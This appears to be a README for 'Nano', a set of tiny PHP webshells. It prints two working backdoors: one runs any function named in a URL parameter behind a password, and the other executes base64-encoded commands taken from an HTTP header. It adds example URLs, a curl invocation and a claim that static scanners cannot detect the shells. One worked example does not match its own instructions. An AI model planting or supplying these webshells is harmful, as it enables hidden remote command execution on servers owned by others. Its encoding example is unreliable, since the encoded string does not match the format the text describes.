Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient.
Put it on watch maybe, I will continue to upload more webshells in here.

Note: You may need to tweak some parts of the code if it doesn't work out for your.
For example, if short tags are disabled, you will need to replace <? with <?php.

<?$x=$_GET;($x[p]=='_'?$x[f]($x[c]):y);

• 39 bytes in size
• Can't be detected by static code scanners
• Supports authentication

http://example.com/nano.php?f=function&c=command&p=password

f is for function
c is for command
p is for password

For example, the code below will execute the ls command:

http://example.com/nano.php?f=system&c=ls&p=password

<?$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);

• 93 bytes in size
• Fully Undetectable

This one a bit complex.
Lets say you want to run system(ls) so write it as system~ls and then base64 encode it i.e. c3lzdGVtKGxzKQ==
Now add any 1 character at the start of it. Let say 'x' so it will be xc3lzdGVtKGxzKQ==
Now open your terminal and type the following command
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
Too much work? You can use the handler instead.

This is my first php thingy so if there's way to do what I did in a better way please let me know or open a pull request.
The nano project is licensed under MIT license which basically means you have to give me credit if you want to redistribute or modify it.